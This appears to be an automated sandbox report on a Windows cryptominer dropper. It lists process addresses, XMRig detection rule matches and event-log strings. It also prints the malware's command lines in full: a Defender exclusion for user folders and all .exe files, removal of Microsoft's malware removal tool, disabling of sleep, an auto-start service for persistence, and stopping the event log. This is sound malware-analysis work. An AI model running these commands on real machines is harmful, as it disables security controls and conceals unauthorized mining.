Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE8744A8	27_2_00000140AE8744A8
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE862B2C	27_2_00000140AE862B2C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD59D0E0	30_2_00000195DD59D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5A38A8	30_2_00000195DD5A38A8
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD591F2C	30_2_00000195DD591F2C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5CDCE0	30_2_00000195DD5CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5D44A8	30_2_00000195DD5D44A8
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5C2B2C	30_2_00000195DD5C2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160C9E1F2C	31_2_000001160C9E1F2C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160C9ED0E0	31_2_000001160C9ED0E0
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160C9F38A8	31_2_000001160C9F38A8
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA12B2C	31_2_000001160CA12B2C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA1DCE0	31_2_000001160CA1DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA244A8	31_2_000001160CA244A8
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_000000014000226C	42_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_00000001400014D8	42_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_0000000140002560	42_2_0000000140002560
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_0000000140003160	44_2_0000000140003160
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_00000001400026E0	44_2_00000001400026E0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10838A8	46_2_00000257E10838A8
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E107D0E0	46_2_00000257E107D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E1071F2C	46_2_00000257E1071F2C
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10B44A8	46_2_00000257E10B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10ADCE0	46_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10A2B2C	46_2_00000257E10A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C1E38A8	47_2_000001F28C1E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C1DD0E0	47_2_000001F28C1DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C1D1F2C	47_2_000001F28C1D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C9444A8	47_2_000001F28C9444A8
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C93DCE0	47_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C932B2C	47_2_000001F28C932B2C
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA97FD1F2C	48_2_000001CA97FD1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA97FDD0E0	48_2_000001CA97FDD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA97FE38A8	48_2_000001CA97FE38A8
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA98542B2C	48_2_000001CA98542B2C
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA9854DCE0	48_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA985544A8	48_2_000001CA985544A8
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D2652F38A8	49_2_000001D2652F38A8
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D2652ED0E0	49_2_000001D2652ED0E0
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D2652E1F2C	49_2_000001D2652E1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D2653244A8	49_2_000001D2653244A8
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D26531DCE0	49_2_000001D26531DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D26532AEC2	49_2_000001D26532AEC2
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D265312B2C	49_2_000001D265312B2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27D2B2C	50_2_00000254A27D2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27E44A8	50_2_00000254A27E44A8
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27DDCE0	50_2_00000254A27DDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_0000024B87DDDCE0	51_2_0000024B87DDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_0000024B87DE44A8	51_2_0000024B87DE44A8
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_0000024B87DD2B2C	51_2_0000024B87DD2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FB3CD0E0	52_2_00000205FB3CD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FB3D38A8	52_2_00000205FB3D38A8
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FB3C1F2C	52_2_00000205FB3C1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FD402B2C	52_2_00000205FD402B2C
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FD4144A8	52_2_00000205FD4144A8
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FD40DCE0	52_2_00000205FD40DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001A2056A2B2C	53_2_000001A2056A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001A2056ADCE0	53_2_000001A2056ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001A2056B44A8	53_2_000001A2056B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F3D0E0	54_2_0000018EC1F3D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F438A8	54_2_0000018EC1F438A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F31F2C	54_2_0000018EC1F31F2C
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F6DCE0	54_2_0000018EC1F6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F744A8	54_2_0000018EC1F744A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F62B2C	54_2_0000018EC1F62B2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3BCD0E0	55_2_0000025CE3BCD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3BD38A8	55_2_0000025CE3BD38A8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3BC1F2C	55_2_0000025CE3BC1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3E0DCE0	55_2_0000025CE3E0DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3E144A8	55_2_0000025CE3E144A8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3E02B2C	55_2_0000025CE3E02B2C
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_0000026238951F2C	56_2_0000026238951F2C
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_00000262389638A8	56_2_00000262389638A8
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000002623895D0E0	56_2_000002623895D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_0000026238982B2C	56_2_0000026238982B2C
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_00000262389944A8	56_2_00000262389944A8
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000002623898DCE0	56_2_000002623898DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E561F2C	57_2_000002786E561F2C
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E56D0E0	57_2_000002786E56D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E5738A8	57_2_000002786E5738A8
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E592B2C	57_2_000002786E592B2C
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E59DCE0	57_2_000002786E59DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E5A44A8	57_2_000002786E5A44A8
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FF7D0E0	58_2_000001611FF7D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FF838A8	58_2_000001611FF838A8
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FF71F2C	58_2_000001611FF71F2C
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FFADCE0	58_2_000001611FFADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FFB44A8	58_2_000001611FFB44A8
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FFA2B2C	58_2_000001611FFA2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F3638A8	59_2_0000027C0F3638A8
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F35D0E0	59_2_0000027C0F35D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F351F2C	59_2_0000027C0F351F2C
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F3944A8	59_2_0000027C0F3944A8
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F38DCE0	59_2_0000027C0F38DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F382B2C	59_2_0000027C0F382B2C

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\ftnvuqwjtdwb.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FF749F41394 appears 33 times
Source: C:\ProgramData\IGaming\driver.exe	Code function: String function: 00007FF7F4F21394 appears 33 times

Source: 45.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 45.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 45.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: dialer.exe PID: 528, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: System.evtx.52.dr	Binary string: C:\Device\HarddiskVolume3~(
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.52.dr	Binary string: >\Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.52.dr	Binary string: 9\Device\HarddiskVolume3\Windows\System32\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.52.dr	Binary string: J\Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: System.evtx.52.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.52.dr	Binary string: L\Device\HarddiskVolume3\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll6\Device\HarddiskVolume3\Windows\System32\SIHClient.exe
Source: System.evtx.52.dr	Binary string: C:\Device\HarddiskVolume3
Source: System.evtx.52.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4eb
Source: System.evtx.52.dr	Binary string: \Device\HarddiskVolume3\Windows\SysWOW64\tzutil.exe
Source: System.evtx.52.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exep
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.52.dr	Binary string: 1\Device\HarddiskVolume3\Windows\SysWOW64\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.52.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeH**
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.52.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe
Source: Security.evtx.52.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.syst
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.52.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: ftnvuqwjtdwb.sys.26.dr	Binary string: \Device\WinRing0_1_2_0
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.52.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.52.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Security.evtx.52.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sysF

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@62/72@2/2

Source: C:\Windows\System32\dialer.exe	Code function: 14_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		14_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		42_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 14_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

14_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

Code function: 14_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

14_2_000000014000226C

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5284:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5948:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\ldndhoaiflkhpadl
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4956:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5312:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y4ur20yo.jej.ps1

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	Virustotal: Detection: 80%
Source: file.exe	ReversingLabs: Detection: 81%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LightService"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LightService" binpath= "C:\ProgramData\IGaming\driver.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LightService"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\IGaming\driver.exe C:\ProgramData\IGaming\driver.exe
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LightService"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LightService" binpath= "C:\ProgramData\IGaming\driver.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LightService"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
